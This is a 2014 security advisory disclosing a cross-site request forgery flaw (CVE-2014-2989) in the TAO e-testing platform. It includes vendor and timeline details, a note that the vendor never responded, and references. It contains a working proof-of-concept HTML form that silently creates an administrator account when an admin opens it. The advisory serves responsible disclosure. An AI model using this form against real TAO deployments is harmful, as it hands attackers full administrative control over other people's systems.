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Сross-Site Request Forgery (CSRF) in TAO

Advisory ID:HTB23211
Product:TAO
Vendor:Open Assessment Technologies S.A.
Vulnerable Versions:2.5.6 and probably prior
Tested Version:2.5.6
Advisory Publication:April 16, 2014 [without technical details]
Vendor Notification:April 16, 2014
Public Disclosure:May 7, 2014
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2014-2989
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Not Fixed
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in TAO, which can be exploited to gain complete administrative control over the vulnerable application.

1) Сross-Site Request Forgery (CSRF) in TAO: CVE-2014-2989

The vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can trick a website administrator to open a specially crafted link and create a new account with administrative privileges.

The simple exploit code below creates administrative account with login "immuniweb" and password "immuniweb1":
<form action="http://[host]/tao/Users/add" method="post" name="main">
<input type="hidden" name="user_form_sent" value="1">
<input type="hidden" name="tao.forms.instance" value="1">
<input type="hidden" name="http_2_www_0_w3_0_org_1_2000_1_01_1_rdf-schema_3_label" value="User+5">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userFirstName" value="First Name">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userLastName" value="Last Name">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userMail" value="user@mail.com">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_login" value="immuniweb">
<input type="hidden" name="password1" value="immuniweb1">
<input type="hidden" name="password2" value="immuniweb1">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userDefLg" value="http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langen-US">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userUILg" value="http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langen-US">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userRoles_0" value="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_GenerisRole">
< input type="hidden" name="" value="">
<input type="submit" id="btn">
</form>

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Solution:
Vendor ignored:
- 4 notifications by email
- 4 notifications via contact form

Currently we are not aware of any official solution for this vulnerability.


References:
[1] High-Tech Bridge Advisory HTB23211 - https://www.immuniweb.com/advisory/HTB23211 - Сross-Site Request Forgery (CSRF) in TAO.
[2] TAO - http://www.taotesting.com/ - TAO is an Open Source e-Testing platform that empowers you to build, deliver, and share innovative and engaging assessments online – in any language or subject matter.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
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